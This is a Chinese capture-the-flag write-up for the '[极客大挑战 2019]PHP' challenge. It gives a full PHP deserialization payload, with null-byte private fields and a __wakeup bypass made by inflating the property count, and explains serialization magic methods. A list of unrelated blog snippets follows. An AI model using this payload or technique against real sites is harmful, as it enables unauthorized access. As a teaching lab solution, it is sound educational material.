web:[极客大挑战 2019]PHP
题目

点进页面显示如下

根据页面提示,这个网站有备份文件,备份文件一般是bak文件格式,用dirsearch扫描

访问之后下载了一个文件

里面都是一些代码

在index.php中发现了一个类的文件,一个get传参,然后将传进的值进行反序列化

在class.php中,如果username===admin,password=100,返回flag

构造一个反序列化
<?phpclass Name{private $username = "admin";private $password = 100;
}
$a = new Name();
$str=serialize($a);
echo $str;
?>

Name和password之间有不可见字符,private声明的字段为私有字段,只在所声明的类中课件,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)
所以因改为
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
这里还需要绕过__wakeup函数
构造payload
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
总结
1.从__destruct,__construct,__wakeup可以判断存在反序列化漏洞
2.php序列化与反序列化
序列化:函数为serialize(),把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等
反序列化:函数为unserialize(),将字符串转换成变量或对象的过程
常用的内置方法:
__construct():创建对象时初始化,当一个对象创建时被调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruction():结束时销毁对象,当一个对象销毁时被调用
3.private声明的字段为私有字段,只在所声明的类中课件,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)
4.__wakeup函数绕过
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行
原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
参考学习链接:
[极客大挑战 2019]PHP
[极客大挑战 2019]PHP unserialize_buuctf [极客大挑战 2019]php-CSDN博客
相关文章:
web:[极客大挑战 2019]PHP
题目 点进页面显示如下 根据页面提示,这个网站有备份文件,备份文件一般是bak文件格式,用dirsearch扫描 访问之后下载了一个文件 里面都是一些代码 在index.php中发现了一个类的文件,一个get传参,然后将传进的值进行反序…...
Firefox 开发团队对 Vue 3 进行优化效果显著
Mozilla 官方博客近日发表文章《Faster Vue.js Execution in Firefox》,介绍了 Firefox 开发团队对 Vue 3 进行的优化。 文章写道,在使用 Speedometer 3 对 Firefox 进行基准测试时,他们发现 Vue.js test 的测试结果从 Vue 2 升级到 Vue 3 后…...
【Verilog 教程】6.5 Verilog避免Latch
关键词:触发器,锁存器 Latch 的含义 锁存器(Latch),是电平触发的存储单元,数据存储的动作取决于输入时钟(或者使能)信号的电平值。仅当锁存器处于使能状态时,输出才会随着…...
怒刷LeetCode的第21天(Java版)
目录 第一题 题目来源 题目内容 解决方法 方法一:哈希表 方法二:计数器数组 第二题 题目来源 题目内容 解决方法 方法一:分治法 方法二:快速幂 迭代 方法三:快速幂 递归 第三题 题目来源 题目内容 …...
Armv9 Cortex-A720的L2 memory system 和 L2 Cache
9 L2 memory system Cortex-A720核心的L2内存系统通过CPU bridge连接core与DynamIQ Shared Unit-120,其中包括私有的L2缓存。 L2缓存是统一的,每个Cortex-A720核心在一个集群中都有私有的L2缓存。 L2内存系统包括使用虚拟地址(VA)和程序计数器(PC)的数据预取引擎。不同…...
蓝桥等考Python组别九级003
第一部分:选择题 1、Python L9 (15分) 运行下面程序,可以输出几行“*”?( ) for i in range(3): for j in range(4): print(*, end = ) print() 6374正确答案:B 2、Python L9...
Python异步框架大战:FastAPI、Sanic、Tornado VS Go 的 Gin
一、前言 异步编程在构建高性能 Web 应用中起着关键作用,而 FastAPI、Sanic、Tornado 都声称具有卓越的性能。本文将通过性能压测对这些框架与Go的Gin框架进行全面对比,揭示它们之间的差异。 原文:Python异步框架大战:FastAPI、Sa…...
Docker笔记1
一、Docker介绍 Docker是一个开源的应用容器引擎,基于Go语言并遵从Apache2.0协议开源 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化。 容器是完全使用沙箱机制&a…...
TensorFlow-Federated简介与安装
1、简介 TensorFlow Federated(TFF)是一个用于机器学习和其他分布式数据计算的开源框架。TFF 的开发旨在促进联邦学习 (FL)的开放研究和实验。联邦学习是一种机器学习方法,其中一个共享的全局模型在许多参与的客户之间…...
【强化学习】基础概念
1. Agent (智能体) 智能体是进行决策和学习的实体,它能感知环境的状态,并基于策略采取动作以影响环境。智能体的目标是通过与环境的交互获得最大化的累积奖励。 2. Environment (环境) 环境是智能体所处的外部系统,它与智能体交互。环境的…...
云原生Kubernetes:K8S集群各组件服务重启
目录 一、理论 1.各组件服务重启命令 一、理论 1.各组件服务重启命令 (1)Master节点Node节点共同服务 systemctl restart etcd systemctl daemon-reload systemctl enable flanneld systemctl restart flanneld (2)Master节…...
闲话Python编程-循环
1. for循环 Python的for语句有点特别,只能对序列和字符串进行处理,序列自然包括list、tuple和range对象。 #!/usr/bin/env python3 # -*- coding: utf-8 -*- # 练习for语句def loop_for():names [Tom, Jack, Black]for name in names:print(name)s ab…...
建筑能源管理(3)——建筑能源监管
为了全面落实科学发展观,提高建筑能源管理水平,进一步降低能源和水资源消耗、合理利用资源,以政府办公建筑和大型公共建筑的运行节能管理为突破口,建立了既有政府办公建筑和大型公共建筑运行节能监管体系,旨在提高政府…...
中国逐年干燥度指数数据集
简介: 中国逐年干燥度指数,空间分辨率为1km,时间为1901-2022,为比值,没有单位。该数据集是基于中国1km逐月潜在蒸散发(PET)和降水量(PRE)采用比值法计算式得到ÿ…...
Azure Arc 概要:功能、管理和应用场景详解,AZ900 考点示例
文章目录 本文大纲一、什么是 Azure Arc二、使用 Azure Arc 可以做什么操作三、使用 Azure Arc 可以管理什么资源3.1 如何使用Azure Arc与服务器? 四、Azure Arc 支持的主要场景五、在 AZ900 中的考点示例5.1 示例题 15.2 示例题 2 本文大纲 本文思维导图概述的主要内容&…...
JavaScript Web APIs第一天笔记
复习: splice() 方法用于添加或删除数组中的元素。 **注意:**这种方法会改变原始数组。 删除数组: splice(起始位置, 删除的个数) 比如:1 let arr [red, green, blue] arr.splice(1,1) // 删除green元素 consol…...
十六.镜头知识之工业镜头的质量判断因素
十六.镜头知识之工业镜头的质量判断因素 文章目录 十六.镜头知识之工业镜头的质量判断因素1.分辨率(Resolution)2.明锐度(Acutance)3.景深(DOF):4. 最大相对孔径与光圈系数5.工业镜头各参数间的相互影响关系5.1.焦距大小的影响情况5.2.光圈大小的影响情况5.3.像场中…...
网络协议--概述
1.2 分层 网络协议通常分不同层次进行开发,每一层分别负责不同的通信功能。一个协议族,比如TCP/IP,是一组不同层次上的多个协议的组合。 TCP/IP通常被认为是一个四层协议系统,如图1-1所示。每一层负责不同的功能: 1.链…...
aarch64 平台 musl gcc 工具链手动编译方法
目标 手动编译一个 aarch64 平台的 musl gcc 工具链 musl libc 与 glibc、uclibc 等,都是 标准C 库, musl libc 是基于系统调用之上的 标准C 库,也就是用户态的 标准C 库。 musl libc 轻量、开源、免费,是一些 操作系统的选择,当前 Lite-OS 与 RT-Smart 等均采用自制的 mu…...
计算机图像处理-高斯滤波
高斯滤波 高斯滤波是一种线性平滑滤波,适用于消除高斯噪声,广泛应用于图像处理的减噪过程。通俗的讲,高斯滤波就是对整幅图像进行加权平均的过程,每一个像素点的值,都由其本身和邻域内的其他像素值经过加权平均后得到…...
W-TRS-5.5D7红外测温:电炖锅智能测温的革新力量
在追求健康饮食与智能烹饪的时代,电炖锅的温控技术革新至关重要。领麦微W-TRS-5.5D7红外测温传感器的出现,为电炖锅带来非接触检测锅温与食物温度的新突破,结合智能菜谱功能,开启电炖锅智能烹饪新纪元。非接触检测锅温:…...
【故障】解决ssh连接linux卡着不动的问题
1、原因使用xshell连接一台linux机器,发现连接不上,一直都开在连接这个界面,最后超时才停止。2、排查(1)首先,检查下防火墙或者selinuxsystem status firewalld #检查服务是否处于非Running的状态getenforc…...
AI原生推荐:如何实现端到端的训练?
AI原生推荐:如何实现端到端的训练?关键词:AI原生推荐、端到端训练、深度学习推荐系统、推荐模型架构、多模态融合摘要:本文将从“AI原生推荐”的核心需求出发,用“快递物流”“餐厅点菜”等生活化类比,逐步…...
pyNastran:工程仿真领域的Python变革者——打破商业软件垄断的技术突围
pyNastran:工程仿真领域的Python变革者——打破商业软件垄断的技术突围 【免费下载链接】pyNastran A Python-based interface tool for Nastrans file formats 项目地址: https://gitcode.com/gh_mirrors/py/pyNastran 价值定位:重新定义工程仿真…...
不止于集成:在RuoYi-Camunda流程设计器中实现自定义属性面板与FEEL表达式校验
深度定制RuoYi-Camunda流程设计器:从属性面板扩展到FEEL表达式校验实战 当标准BPMN设计器无法满足复杂业务需求时,定制化开发成为必经之路。某跨国零售企业的审批系统曾因无法在流程节点上定义"区域经理审批阈值"字段,导致每次业务…...
5个高效方案解决League-Toolkit启动故障
5个高效方案解决League-Toolkit启动故障 【免费下载链接】League-Toolkit 兴趣使然的、简单易用的英雄联盟工具集。支持战绩查询、自动秒选等功能。基于 LCU API。 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 问题现象:跨平台启动异常图谱…...
YOLOv13环境配置(cpu版)
提前安装好Anaconda 和pycharm。第一步:打开Anaconda prompt输入:conda create -n yolo13cpu python3.11意为安装名为 yolo13cpu,python版本为3.11的基础环境,如下图所示,表示安装成功:第二步:使…...
基于Python的网上商城的设计与实现
目录 可选框架 可选语言 内容 可选框架 J2EE、MVC、vue3、spring、springmvc、mybatis、SSH、SpringBoot、SSM、django 可选语言 java、web、PHP、asp.net、javaweb、C#、python、 HTML5、jsp、ajax、vue3 内容 随着信息化时代的到来,电子商务变得家喻户晓&…...
GICI:代码学习5
以下内容主要讲解 estimateFundamental() 和 estimateHomography() 的求解过程一、本质两个函数的本质都是在做相同的事情:输入两帧特征方向向量,输出相机的位姿 R,t.但是两个函数的路径不同。二、Homography :单应矩阵求解2.1 函…...
VMware硬件兼容性自查避坑指南:收购后这些查询细节变了
VMware硬件兼容性自查避坑指南:收购后这些查询细节变了 当企业虚拟化平台的稳定性悬于一线,硬件兼容性往往成为最容易被忽视的致命环节。博通收购VMware后,那些曾经熟悉的兼容性查询路径和规则正在发生微妙却关键的变化——就像手术器械消毒流…...
